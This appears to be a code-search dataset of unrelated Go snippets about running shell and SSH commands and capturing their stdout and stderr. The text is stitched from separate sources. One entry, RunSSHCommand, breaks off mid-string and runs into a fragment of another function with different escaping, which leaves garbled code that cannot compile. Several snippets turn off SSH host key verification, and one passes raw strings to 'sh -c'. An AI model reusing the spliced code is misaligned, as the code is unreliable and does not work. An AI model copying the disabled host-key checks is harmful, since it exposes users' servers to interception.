baseErr\n\t}\n\n\tif !done { // timeout case,\n\t\treturn []byte(stdout), []byte(stderr), ErrSSHExecuteTimedout.\n\t\t\tWrap(err, \"Execute command over SSH timedout for '%s@%s:%s'\", e.Config.User, e.Config.Server, e.Config.Port).\n\t\t\tWithProperty(ErrPropSSHCommand, cmd).\n\t\t\tWithProperty(ErrPropSSHStdout, stdout).\n\t\t\tWithProperty(ErrPropSSHStderr, stderr)\n\t}\n\n\treturn []byte(stdout), []byte(stderr), nil\n}","func (h *Host) Exec(cmd string) error {\n\tsession, err := h.sshClient.NewSession()\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer session.Close()\n\n\tstdout, err := session.StdoutPipe()\n\tif err != nil {\n\t\treturn err\n\t}\n\tstderr, err := session.StderrPipe()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tlogrus.Debugf(\"executing command: %s\", cmd)\n\tif err := session.Start(cmd); err != nil {\n\t\treturn err\n\t}\n\n\tmultiReader := io.MultiReader(stdout, stderr)\n\toutputScanner := bufio.NewScanner(multiReader)\n\n\tfor outputScanner.Scan() {\n\t\tlogrus.Debugf(\"%s: %s\", h.FullAddress(), outputScanner.Text())\n\t}\n\tif err := outputScanner.Err(); err != nil {\n\t\tlogrus.Errorf(\"%s: %s\", h.FullAddress(), err.Error())\n\t}\n\n\treturn nil\n}","func sshconnect(n *Node) (*ssh.Session, error) {\n\tuser := n.UserName\n\thost := n.Addr\n\tport := 22\n\n\tvar (\n\t\tauth []ssh.AuthMethod\n\t\taddr string\n\t\tclientConfig *ssh.ClientConfig\n\t\tclient *ssh.Client\n\t\tsession *ssh.Session\n\t\terr error\n\t)\n\n\t// Get auth method\n\tif n.AuthMethod == \"privateKey\" {\n\t\tauth = make([]ssh.AuthMethod, 0)\n\t\tauth = append(auth, publicKeyAuthFunc(n.PrivateKey))\n\t} else if n.AuthMethod == \"password\" {\n\t\tauth = make([]ssh.AuthMethod, 0)\n\t\tauth = append(auth, ssh.Password(n.Password))\n\t}\n\n\thostKeyCallbk := func(hostname string, remote net.Addr, key ssh.PublicKey) error {\n\t\treturn nil\n\t}\n\n\tclientConfig = &ssh.ClientConfig{\n\t\tUser: user,\n\t\tAuth: auth,\n\t\tTimeout: 30 * time.Second,\n\t\tHostKeyCallback: hostKeyCallbk,\n\t}\n\n\t// connet to ssh\n\taddr = fmt.Sprintf(\"%s:%d\", host, port)\n\n\tif client, err = ssh.Dial(\"tcp\", addr, clientConfig); err != nil {\n\t\treturn nil, err\n\t}\n\n\t// create session\n\tif session, err = client.NewSession(); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn session, nil\n}","func ExecuteWithOutput(cmd *exec.Cmd) (outStr string, err error) {\n\t// connect to stdout and stderr for filtering purposes\n\terrPipe, err := cmd.StderrPipe()\n\tif err != nil {\n\t\tlog.WithFields(log.Fields{\n\t\t\t\"cmd\": cmd.Args,\n\t\t}).Fatal(\"Couldn't connect to command's stderr\")\n\t}\n\toutPipe, err := cmd.StdoutPipe()\n\tif err != nil {\n\t\tlog.WithFields(log.Fields{\n\t\t\t\"cmd\": cmd.Args,\n\t\t}).Fatal(\"Couldn't connect to command's stdout\")\n\t}\n\t_ = bufio.NewReader(errPipe)\n\toutReader := bufio.NewReader(outPipe)\n\n\t// start the command and filter the output\n\tif err = cmd.Start(); err != nil {\n\t\treturn \"\", err\n\t}\n\toutScanner := bufio.NewScanner(outReader)\n\tfor outScanner.Scan() {\n\t\toutStr += outScanner.Text() + \"\\n\"\n\t\tif log.GetLevel() == log.DebugLevel {\n\t\t\tfmt.Println(outScanner.Text())\n\t\t}\n\t}\n\terr = cmd.Wait()\n\treturn outStr, err\n}","func lisp_command_output(command string) string {\n\tcmd := exec.Command(command)\n\tout, err := cmd.CombinedOutput()\n\tif (err != nil) {\n\t\treturn(\"\")\n\t}\n\toutput := string(out)\n\treturn(output[0:len(output)-1])\n}","func (bc *BaseCluster) SSH(m Machine, cmd string) ([]byte, []byte, error) {\n\tvar stdout bytes.Buffer\n\tvar stderr bytes.Buffer\n\tclient, err := bc.SSHClient(m.IP())\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\tdefer client.Close()\n\n\tsession, err := client.NewSession()\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\tdefer session.Close()\n\n\tsession.Stdout = &stdout\n\tsession.Stderr = &stderr\n\terr = session.Run(cmd)\n\toutBytes := bytes.TrimSpace(stdout.Bytes())\n\terrBytes := bytes.TrimSpace(stderr.Bytes())\n\treturn outBytes, errBytes, err\n}","func (c *SSHCommand) StdoutPipe() (io.ReadCloser, error) {\n\treturn c.cmd.StdoutPipe()\n}","func (sshClient *SSHClient) Execute(cmdList []string) []string {\n\n\tsession, err := sshClient.connect()\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tdefer session.Close()\n\n\tlog.Println(\"Connected.\")\n\n\tmodes := ssh.TerminalModes{\n\t\tssh.ECHO: 0, // 0:disable echo\n\t\tssh.TTY_OP_ISPEED: 14400 * 1024, // input speed = 14.4kbaud\n\t\tssh.TTY_OP_OSPEED: 14400 * 1024, //output speed = 14.4kbaud\n\t}\n\tif err1 := session.RequestPty(\"linux\", 64, 200, modes); err1 != nil {\n\t\tlog.Fatalf(\"request pty error: %s\\n\", err1.Error())\n\t}\n\n\tlog.Println(\"PtyRequested.\")\n\n\tw, err := session.StdinPipe()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tr, err := session.StdoutPipe()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\te, err := session.StderrPipe()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tin, out := sshClient.MuxShell(w, r, e)\n\tif err := session.Shell(); err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\t//<-out\n\tsWelcome := <-out\n\tlog.Printf(\"Welcome:%s\\n\", sWelcome) //ignore the shell output\n\n\tvar ret []string\n\n\tfor _, cmd := range cmdList {\n\t\tlog.Printf(\"Exec %v\\n\", cmd)\n\n\t\tin <- cmd\n\n\t\tsOut := <-out\n\t\tlog.Printf(\"Result-%s\\n\", sOut)\n\t\tret = append(ret, sOut)\n\t}\n\n\tin <- sshClient.ExitCmd\n\t_ = <-out\n\tsession.Wait()\n\n\treturn ret\n}","func (c *Cmd) Output() ([]byte, error) {\n\treturn c.Cmd.Output()\n}","func execCmdWithOutput(arg0 string, args ...string) (string, error) {\n\tcmd := exec.Command(arg0, args...)\n\tstdout, err := cmd.StdoutPipe()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tif cmd_err := cmd.Start(); cmd_err != nil {\n\t\treturn \"\", cmd_err\n\t}\n\n\toutput, err_out := ioutil.ReadAll(stdout)\n\tif err_out != nil {\n\t\treturn \"\", err_out\n\t}\n\n\treturn string(output), nil\n}","func (ctssstotl ConnectToSourceSQLServerTaskOutputTaskLevel) AsConnectToSourceSQLServerTaskOutput() (*ConnectToSourceSQLServerTaskOutput, bool) {\n\treturn nil, false\n}","func (c Command) Output(args ...string) ([]byte, error) {\n\treturn c.builder().Output(args...)\n}","func (sc *sshclient) RunWithResults(address string, command string) (string, error) {\n\tclient, err := ssh.Dial(\"tcp\", address, sc.config)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"Could not connect to address %s:%v \", address, err)\n\t}\n\n\t// Each ClientConn can support multiple interactive sessions,\n\t// represented by a Session.\n\tsession, err := client.NewSession()\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"Could not create session at address %s:%v \", address, err)\n\t}\n\tdefer session.Close()\n\n\tresultdata, err := session.Output(command)\n\tif err != nil {\n\t\treturn string(resultdata), fmt.Errorf(\"Command '%s' at address %s produced an error:%v \", command, address, err)\n\t}\n\n\treturn string(resultdata), nil\n}","func SSHConnect() {\n\tcommand := \"uptime\"\n\tvar usInfo userInfo\n\tvar kP keyPath\n\tkey, err := ioutil.ReadFile(kP.privetKey)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tsigner, err := ssh.ParsePrivateKey(key)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\thostKeyCallBack, err := knownhosts.New(kP.knowHost)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tconfig := &ssh.ClientConfig{\n\t\tUser: usInfo.user,\n\t\tAuth: []ssh.AuthMethod{\n\t\t\tssh.PublicKeys(signer),\n\t\t},\n\t\tHostKeyCallback: hostKeyCallBack,\n\t}\n\tclient, err := ssh.Dial(\"tcp\", usInfo.servIP+\":\"+usInfo.port, config)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdefer client.Close()\n\tss, err := client.NewSession()\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdefer ss.Close()\n\tvar stdoutBuf bytes.Buffer\n\tss.Stdout = &stdoutBuf\n\tss.Run(command)\n\tfmt.Println(stdoutBuf.String())\n}","func call_ssh(cmd string, user string, hosts []string) (result string, error bool) {\n\tresults := make(chan string, 100)\n\ttimeout := time.After(5 * time.Second)\n\n\tfor _, hostname := range hosts {\n\t\tgo func(hostname string) {\n\t\t\tresults <- remote_runner.ExecuteCmd(cmd, user, hostname)\n\t\t}(hostname)\n\t}\n\n\tfor i := 0; i < len(hosts); i++ {\n\t\tselect {\n\t\tcase res := <-results:\n\t\t\t//fmt.Print(res)\n\t\t\tresult = res\n\t\t\terror = false\n\t\tcase <-timeout:\n\t\t\t//fmt.Println(\"Timed out!\")\n\t\t\tresult = \"Time out!\"\n\t\t\terror = true\n\t\t}\n\t}\n\treturn\n}","func RunCommandWithOutputLiveWrapper(c *OSCommand, command string, output func(string) string) error {\n\tcmd := c.ExecutableFromString(command)\n\tcmd.Env = append(cmd.Env, \"LANG=en_US.UTF-8\", \"LC_ALL=en_US.UTF-8\")\n\n\tvar stderr bytes.Buffer\n\tcmd.Stderr = &stderr\n\n\tptmx, err := pty.Start(cmd)\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tgo func() {\n\t\tscanner := bufio.NewScanner(ptmx)\n\t\tscanner.Split(scanWordsWithNewLines)\n\t\tfor scanner.Scan() {\n\t\t\ttoOutput := strings.Trim(scanner.Text(), \" \")\n\t\t\t_, _ = ptmx.WriteString(output(toOutput))\n\t\t}\n\t}()\n\n\terr = cmd.Wait()\n\tptmx.Close()\n\tif err != nil {\n\t\treturn errors.New(stderr.String())\n\t}\n\n\treturn nil\n}","func ExecCmdAndGetOutput(cmd string) string {\n\tfields, err := shlex.Split(cmd)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tbytes, err := exec.Command(fields[0], fields[1:]...).Output() // waits for it to complete\n\ts := strings.TrimSpace(string(bytes))\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\treturn s\n}","func TestSessionOutput(t *testing.T) {\n\tconn := dial(fixedOutputHandler, t)\n\tdefer conn.Close()\n\tsession, err := conn.NewSession()\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to request new session: %v\", err)\n\t}\n\tdefer session.Close()\n\n\tbuf, err := session.Output(\"\") // cmd is ignored by fixedOutputHandler\n\tif err != nil {\n\t\tt.Error(\"Remote command did not exit cleanly:\", err)\n\t}\n\tw := \"this-is-stdout.\"\n\tg := string(buf)\n\tif g != w {\n\t\tt.Error(\"Remote command did not return expected string:\")\n\t\tt.Logf(\"want %q\", w)\n\t\tt.Logf(\"got %q\", g)\n\t}\n}","func executeCommandCapturingStdout(args ...string) (string, string) {\n\n\t// We substitute our own pipe for stdout to collect the terminal output\n\t// but must be careful to always restore stadt and close the pripe files.\n\toriginalStdout := os.Stdout\n\treadFile, writeFile, err := os.Pipe()\n\tif err != nil {\n\t\tfmt.Printf(\"Could not capture stdout: %s\", err.Error())\n\t\tos.Exit(1)\n\t}\n\n\t// Be careful to both put stdout back in its proper place, and restore any\n\t// tricks that we played on our child packages to get them to cooperate in our testing.\n\tdefer func() {\n\n\t\t// Restore stdout piping\n\t\tos.Stdout = originalStdout\n\t\twriteFile.Close()\n\t\treadFile.Close()\n\t}()\n\n\t// Set our own pipe as stdout\n\tos.Stdout = writeFile\n\n\t// Run the command with a random token value that does not matter because we won't actually\n\t// be calling AWS and so it won't be able to object\n\toutput := executeCommand(args...)\n\n\t// Restore stdout and close the write end of the pipe so that we can collect the output\n\tos.Stdout = originalStdout\n\twriteFile.Close()\n\n\t// Gather the output into a byte buffer\n\toutputBytes, err := ioutil.ReadAll(readFile)\n\tif err != nil {\n\t\tfmt.Printf(\"Failed to read pipe for stdout: : %s\", err.Error())\n\t\tos.Exit(1)\n\t}\n\n\t// Return the executeCommand output and stdout\n\treturn output, string(outputBytes)\n}","func (c *Client) Exec(cmd string) ([]byte, error) {\n\tsession, err := c.SSHClient.NewSession()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer session.Close()\n\n\treturn session.CombinedOutput(cmd)\n}","func ExceCmdReturnOutput(cmd string) string {\n\tout, err := exec.Command(\"sh\", \"-c\", cmd).Output()\n\tif err != nil {\n\t\tfmt.Printf(\"Error with cmd: %s\\n\", cmd)\n\t}\n\n\tCheck(err)\n\n\treturn string(out)\n}","func ForwardCmdOutput() func(*exec.Cmd) error {\n\treturn func(cmd *exec.Cmd) error {\n\t\tcmd.Stderr = os.Stderr\n\t\tcmd.Stdout = os.Stdout\n\t\treturn nil\n\t}\n}","func executeWithOutput(cmd string, args ...string) string {\n\tout, err := exec.Command(cmd, args...).Output()\n\tif err != nil {\n\t\tlog.Fatalf(\"%s\", err)\n\t}\n\treturn string(out)\n}","func CmdOut(command string) (string, error) {\r\n\treturn cmdOut(command)\r\n}","func (ctssstoll ConnectToSourceSQLServerTaskOutputLoginLevel) AsBasicConnectToSourceSQLServerTaskOutput() (BasicConnectToSourceSQLServerTaskOutput, bool) {\n\treturn &ctssstoll, true\n}","func (d *portworx) GetPxctlCmdOutput(n node.Node, command string) (string, error) {\n\topts := node.ConnectionOpts{\n\t\tIgnoreError: false,\n\t\tTimeBeforeRetry: defaultRetryInterval,\n\t\tTimeout: defaultTimeout,\n\t}\n\n\treturn d.GetPxctlCmdOutputConnectionOpts(n, command, opts, true)\n}","func (ctssstoajl ConnectToSourceSQLServerTaskOutputAgentJobLevel) AsConnectToSourceSQLServerTaskOutput() (*ConnectToSourceSQLServerTaskOutput, bool) {\n\treturn nil, false\n}","func Exec(config *ssh.ClientConfig, addr string, workDir string, cmd string, nixConf string) (bytes.Buffer, error) {\n\tvar b bytes.Buffer // import \"bytes\"\n\n\t// Connect\n\tclient, err := ssh.Dial(\"tcp\", net.JoinHostPort(addr, \"22\"), config)\n\tif err != nil {\n\t\treturn b, err\n\t}\n\t// Create a session. It is one session per command.\n\tsession, err := client.NewSession()\n\tif err != nil {\n\t\treturn b, err\n\t}\n\tdefer session.Close()\n\n\tsession.Stderr = os.Stderr // get output\n\tsession.Stdout = &b // get output\n\t// you can also pass what gets input to the stdin, allowing you to pipe\n\t// content from client to server\n\t// session.Stdin = bytes.NewBufferString(\"My input\")\n\n\t// Finally, run the command\n\tfullCmd := \". ~/.nix-profile/etc/profile.d/nix.sh && cd \" + workDir + \" && nix-shell \" + nixConf + \" --command '\" + cmd + \"'\"\n\tfmt.Println(fullCmd)\n\terr = session.Run(fullCmd)\n\treturn b, err\n}","func ExecCmdAndSeeOutput(command string) {\n\tfields, err := shlex.Split(command)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tcmd := exec.Command(fields[0], fields[1:]...)\n\tcmd.Stdout = os.Stdout\n\tcmd.Stderr = os.Stderr\n\terr = cmd.Run() // waits for it to complete\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n}","func CmdCombinedOutputWithTimeout(timeout time.Duration, cmd *exec.Cmd) ([]byte, error) {\n\tif cmd.Stdout != nil {\n\t\treturn nil, errors.New(\"exec: Stdout already set\")\n\t}\n\tif cmd.Stderr != nil {\n\t\treturn nil, errors.New(\"exec: Stderr already set\")\n\t}\n\tvar b bytes.Buffer\n\tcmd.Stdout = &b\n\tcmd.Stderr = &b\n\tc := make(chan error, 1)\n\tif err := cmd.Start(); err != nil {\n\t\treturn nil, err\n\t}\n\tgo func() {\n\t\tc <- cmd.Wait()\n\t}()\n\tselect {\n\tcase <-time.After(timeout):\n\t\tcmd.Process.Kill()\n\t\treturn b.Bytes(), ErrCmdTimeout\n\tcase err := <-c:\n\t\treturn b.Bytes(), err\n\t}\n}","func (d *portworx) GetPxctlCmdOutputConnectionOpts(n node.Node, command string, opts node.ConnectionOpts, retry bool) (string, error) {\n\tpxctlPath := d.getPxctlPath(n)\n\t// Create context\n\tif len(d.token) > 0 {\n\t\t_, err := d.nodeDriver.RunCommand(n, fmt.Sprintf(\"%s context create admin --token=%s\", pxctlPath, d.token), opts)\n\t\tif err != nil {\n\t\t\treturn \"\", fmt.Errorf(\"failed to create pxctl context. cause: %v\", err)\n\t\t}\n\t}\n\n\tvar (\n\t\tout string\n\t\terr error\n\t)\n\n\tcmd := fmt.Sprintf(\"%s %s\", pxctlPath, command)\n\tif retry {\n\t\tout, err = d.nodeDriver.RunCommand(n, cmd, opts)\n\t} else {\n\t\tout, err = d.nodeDriver.RunCommandWithNoRetry(n, cmd, opts)\n\t}\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"failed to get pxctl status. cause: %v\", err)\n\t}\n\n\t// Delete context\n\tif len(d.token) > 0 {\n\t\t_, err := d.nodeDriver.RunCommand(n, fmt.Sprintf(\"%s context delete admin\", pxctlPath), opts)\n\t\tif err != nil {\n\t\t\treturn \"\", fmt.Errorf(\"failed to delete pxctl context. cause: %v\", err)\n\t\t}\n\t}\n\n\treturn out, nil\n}","func (s *SSHClient) Execute(host, cmd string) (string, error) {\n\thostname := fmt.Sprintf(\"%s.%s.%s:%d\", host, s.projectID, DropletDomain, defaultSSHPort)\n\n\tpemBytes, err := s.repo.GetKey(s.projectID)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tsigner, err := ssh.ParsePrivateKey(pemBytes)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"parse key failed: %v\", err)\n\t}\n\n\tconfig := &ssh.ClientConfig{\n\t\tUser: \"workshop\",\n\t\tAuth: []ssh.AuthMethod{ssh.PublicKeys(signer)},\n\t}\n\n\ts.log.WithField(\"hostname\", hostname).Info(\"dialing\")\n\tconn, err := ssh.Dial(\"tcp\", hostname, config)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\ts.log.WithField(\"hostname\", hostname).Info(\"creating session\")\n\tsession, err := conn.NewSession()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tdefer session.Close()\n\n\tvar buf bytes.Buffer\n\tsession.Stdout = &buf\n\n\ts.log.WithFields(logrus.Fields{\n\t\t\"hostname\": hostname,\n\t\t\"cmd\": cmd}).\n\t\tInfo(\"running command\")\n\terr = session.Run(cmd)\n\tif err != nil {\n\t\ts.log.WithField(\"output\", buf.String()).WithError(err).Error(\"ssh client run returned non zero result\")\n\t\treturn \"\", fmt.Errorf(\"%s\\n%s\", err, buf.String())\n\t}\n\n\treturn buf.String(), nil\n}","func (execImpl *Exec) CommandCombinedOutput(name string, arg ...string) ([]byte, error) {\n\treturn exec.Command(name, arg...).CombinedOutput()\n}","func (ctsssto ConnectToSourceSQLServerTaskOutput) AsBasicConnectToSourceSQLServerTaskOutput() (BasicConnectToSourceSQLServerTaskOutput, bool) {\n\treturn &ctsssto, true\n}","func (s *SSHOrch) ExecSSH(userserver, cmd string) string {\n\tclient := s.doLookup(userserver)\n\n\tsession, err := client.NewSession()\n\tif err != nil {\n\t\tlog.Fatalln(\"Failed to create session:\", err)\n\t}\n\tdefer session.Close()\n\t/*\n\t\tstdout, err := session.StdoutPipe()\n\t\tif err != nil {\n\t\t\tlog.Fatalln(\"Failed to pipe session stdout:\", err)\n\t\t}\n\n\t\tstderr, err := session.StderrPipe()\n\t\tif err != nil {\n\t\t\tlog.Fatalln(\"Failed to pipe session stderr:\", err)\n\t\t}\n\t*/\n\n\tbuf, err := session.CombinedOutput(cmd)\n\tif err != nil {\n\t\tlog.Fatalln(\"Failed to execute cmd:\", err)\n\t}\n\n\t// Network read pushed to background\n\t/*readExec := func(r io.Reader, ch chan []byte) {\n\t\tif str, err := ioutil.ReadAll(r); err != nil {\n\t\t\tch <- str\n\t\t}\n\t}\n\toutCh := make(chan []byte)\n\tgo readExec(stdout, outCh)\n\t*/\n\treturn string(buf)\n}","func (md *MassDns) GetOutput() <-chan dns.RR {\n\toc := md.output\n\treturn oc\n}","func (host *Host) SSHRead(job *Job, command string) (out string, err error) {\n\tproc, err := host.startSSH(job, command)\n\tclose(proc.Stdin())\n\tfor {\n\t\tselect {\n\t\tcase line, ok := <-proc.Stdout():\n\t\t\tif !ok {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tout = line\n\t\tcase line, ok := <-proc.Stderr():\n\t\t\tif !ok {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\thost.logger.Println(line)\n\t\tcase err = <-proc.Done():\n\t\t\treturn\n\t\tcase <-time.After(job.Timeout):\n\t\t\treturn \"\", ErrorTimeout\n\t\tcase <-host.cancel:\n\t\t\tif proc.IsAlive() {\n\t\t\t\tproc.Signal(os.Interrupt)\n\t\t\t}\n\t\t\treturn \"\", ErrorCancel\n\t\t}\n\t}\n}","func outputToken(token []byte) error {\n\toutput, err := json.Marshal(newExecCredential(token))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t_, err = fmt.Printf(\"%s\", output)\n\treturn err\n}","func runCommandOutput(dir, command string, args ...string) ([]byte, error) {\n\tcmd := exec.Command(command, args...)\n\tcmd.Dir = dir\n\n\toutput, err := cmd.CombinedOutput()\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, fmt.Sprintf(\"error running '%s':\\n%s\\n\", strings.Join(append([]string{command}, args...), \" \"), output))\n\t}\n\n\treturn output, nil\n}","func Exec(cmds []string, host config.Host, pwd string, force bool) (string, error) {\n\tvar err error\n\tvar auth goph.Auth\n\tvar callback ssh.HostKeyCallback\n\n\tif force {\n\t\tcallback = ssh.InsecureIgnoreHostKey()\n\t} else {\n\t\tif callback, err = DefaultKnownHosts(); err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t}\n\n\tif host.Keyfile != \"\" {\n\t\t// Start new ssh connection with private key.\n\t\tif auth, err = goph.Key(host.Keyfile, pwd); err != nil {\n\t\t\tif os.Getenv(\"GO\") == \"DEBUG\" {\n\t\t\t\tfmt.Println(err)\n\t\t\t}\n\t\t\t// ssh: this private key is passphrase protected\n\t\t\tpwd = common.AskPass(\"Private key passphrase: \")\n\t\t\tif auth, err = goph.Key(host.Keyfile, pwd); err != nil {\n\t\t\t\treturn \"\", err\n\t\t\t}\n\t\t}\n\t} else {\n\t\tif pwd == \"\" {\n\t\t\tpwd = common.AskPass(\n\t\t\t\tfmt.Sprintf(\"%s@%s's password: \", host.User, host.Addr),\n\t\t\t)\n\t\t}\n\t\tauth = goph.Password(pwd)\n\t}\n\n\tif os.Getenv(\"GO\") == \"DEBUG\" {\n\t\tfmt.Println(host, pwd, force)\n\t}\n\n\tclient, err := goph.NewConn(&goph.Config{\n\t\tUser: host.User,\n\t\tAddr: host.Addr,\n\t\tPort: host.Port,\n\t\tAuth: auth,\n\t\tTimeout: 5 * time.Second,\n\t\tCallback: callback,\n\t})\n\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\t// Defer closing the network connection.\n\tdefer client.Close()\n\n\t// Execute your command.\n\tout, err := client.Run(strings.Join(cmds, \" && \"))\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\t// Get your output as []byte.\n\treturn string(out), nil\n}","func (ctssstodl ConnectToSourceSQLServerTaskOutputDatabaseLevel) AsConnectToSourceSQLServerTaskOutput() (*ConnectToSourceSQLServerTaskOutput, bool) {\n\treturn nil, false\n}","func testCommand(t *testing.T, client ssh.Client, command string) error {\n\t// To avoid mixing the output streams of multiple commands running in\n\t// parallel tests, we combine stdout and stderr on the remote host, and\n\t// capture stdout and write it to the test log here.\n\tstdout := new(bytes.Buffer)\n\tif err := client.Run(command+\" 2>&1\", stdout, os.Stderr); err != nil {\n\t\tt.Logf(\"`%s` failed with %v:\\n%s\", command, err, stdout.String())\n\t\treturn err\n\t}\n\treturn nil\n}","func runCommandWithOutput(execCmd *exec.Cmd) (string, int, error) {\n\tresult := icmd.RunCmd(transformCmd(execCmd))\n\treturn result.Combined(), result.ExitCode, result.Error\n}","func (c *Cmd) Output(opts ...RunOption) ([]byte, error) {\n\tif c.Stdout != nil {\n\t\treturn nil, errStdoutSet\n\t}\n\n\tvar buf bytes.Buffer\n\tc.Stdout = &buf\n\n\tif err := c.Start(); err != nil {\n\t\treturn nil, err\n\t}\n\n\terr := c.Wait(opts...)\n\treturn buf.Bytes(), err\n}","func (m *MinikubeRunner) SSH(cmdStr string) (string, error) {\n\tprofileArg := fmt.Sprintf(\"-p=%s\", m.Profile)\n\tpath, _ := filepath.Abs(m.BinaryPath)\n\n\tcmd := exec.Command(path, profileArg, \"ssh\", cmdStr)\n\tLogf(\"SSH: %s\", cmdStr)\n\tstdout, err := cmd.CombinedOutput()\n\tLogf(\"Output: %s\", stdout)\n\tif err, ok := err.(*exec.ExitError); ok {\n\t\treturn string(stdout), err\n\t}\n\treturn string(stdout), nil\n}","func RunSSHCommand(SSHHandle *ssh.Client, cmd string, sudo bool, bg bool, logger *log.Logger) (retCode int, stdout, stderr []string) {\n\tlogger.Println(\"Running cmd \" + cmd)\n\tvar stdoutBuf, stderrBuf bytes.Buffer\n\tsshSession, err := SSHHandle.NewSession()\n\tif err != nil {\n\t\tlogger.Printf(\"SSH session creation failed! %s\", err)\n\t\treturn -1, nil, nil\n\t}\n\tdefer sshSession.Close()\n\n\tmodes := ssh.TerminalModes{\n\t\tssh.ECHO: 0, // disable echoing\n\t\tssh.TTY_OP_ISPEED: 14400, // input speed = 14.4kbaud\n\t\tssh.TTY_OP_OSPEED: 14400, // output speed = 14.4kbaud\n\t}\n\n\tif err = sshSession.RequestPty(\"xterm\", 80, 40, modes); err != nil {\n\t\tlogger.Println(\"SSH session Pty creation failed!\")\n\t\treturn -1, nil, nil\n\t}\n\n\tsshOut, err := sshSession.StdoutPipe()\n\tif err != nil {\n\t\tlogger.Println(\"SSH session StdoutPipe creation failed!\")\n\t\treturn -1, nil, nil\n\t}\n\tsshErr, err := sshSession.StderrPipe()\n\tif err != nil {\n\t\tlogger.Println(\"SSH session StderrPipe creation failed!\")\n\t\treturn -1, nil, nil\n\t}\n\n\tshout := io.MultiWriter(&stdoutBuf, (*LogWriter)(logger))\n\tssherr := io.MultiWriter(&stderrBuf, (*LogWriter)(logger))\n\n\tgo func() {\n\t\tio.Copy(shout, sshOut)\n\t}()\n\tgo func() {\n\n\t\tio.Copy(ssherr, sshErr)\n\t}()\n\n\tif bg {\n\t\tcmd = \"nohup sh -c \\\"\" + cmd + \" 2>&1 >/dev/null 1:\\n\\t\\t\\t\\tfmt.Println(\\\"Only one argument is allowed\\\")\\n\\t\\t\\t\\tos.Exit(1)\\n\\t\\t\\t}\\n\\t\\t\\treturn nil\\n\\t\\t},\\n\\t}\\n\\treturn command\\n}\",\n \"func (c *Cmd) CombinedOutput() ([]byte, error)\",\n \"func (client *NativeClient) OutputWithPty(command string) (string, error) {\\n\\tsession, err := client.session(command)\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", nil\\n\\t}\\n\\n\\tfd := int(os.Stdin.Fd())\\n\\n\\ttermWidth, termHeight, err := terminal.GetSize(fd)\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\n\\tmodes := ssh.TerminalModes{\\n\\t\\tssh.ECHO: 0,\\n\\t\\tssh.TTY_OP_ISPEED: 14400,\\n\\t\\tssh.TTY_OP_OSPEED: 14400,\\n\\t}\\n\\n\\t// request tty -- fixes error with hosts that use\\n\\t// \\\"Defaults requiretty\\\" in /etc/sudoers - I'm looking at you RedHat\\n\\tif err := session.RequestPty(\\\"xterm\\\", termHeight, termWidth, modes); err != nil {\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\n\\toutput, err := session.CombinedOutput(command)\\n\\tdefer session.Close()\\n\\n\\treturn string(bytes.TrimSpace(output)), wrapError(err)\\n}\",\n \"func executeCmd(remote_host string) string {\\n\\treadConfig(\\\"config\\\")\\n\\t//\\tconfig, err := sshAuthKey(Conf.SshUser, Conf.SshKeyPath, Conf.Passphrase)\\n\\t//\\tif err != nil {\\n\\t//\\t\\tlog.Fatal(err)\\n\\t//\\t}\\n\\tvar config *ssh.ClientConfig\\n\\n\\tif Conf.Method == \\\"password\\\" {\\n\\t\\tconfig = sshAuthPassword(Conf.SshUser, Conf.SshPassword)\\n\\t} else if Conf.Method == \\\"key\\\" {\\n\\t\\tconfig = sshAuthKey(Conf.SshUser, Conf.SshKeyPath, Conf.Passphrase)\\n\\t\\t//\\t\\tif err != nil {\\n\\t\\t//\\t\\t\\tlog.Fatal(err)\\n\\t\\t//\\t\\t}\\n\\t} else {\\n\\t\\tlog.Fatal(`Please set method \\\"password\\\" or \\\"key\\\" at configuration file`)\\n\\t}\\n\\n\\tclient, err := ssh.Dial(\\\"tcp\\\", remote_host+\\\":\\\"+Conf.SshPort, config)\\n\\tif err != nil {\\n\\t\\tlog.Fatal(\\\"Failed to dial: \\\", err)\\n\\t}\\n\\n\\tsession, err := client.NewSession()\\n\\tif err != nil {\\n\\t\\tlog.Fatal(\\\"Failed to create session: \\\", err)\\n\\t}\\n\\tdefer session.Close()\\n\\n\\tvar b bytes.Buffer\\n\\tsession.Stdout = &b\\n\\tif err := session.Run(Conf.Command); err != nil 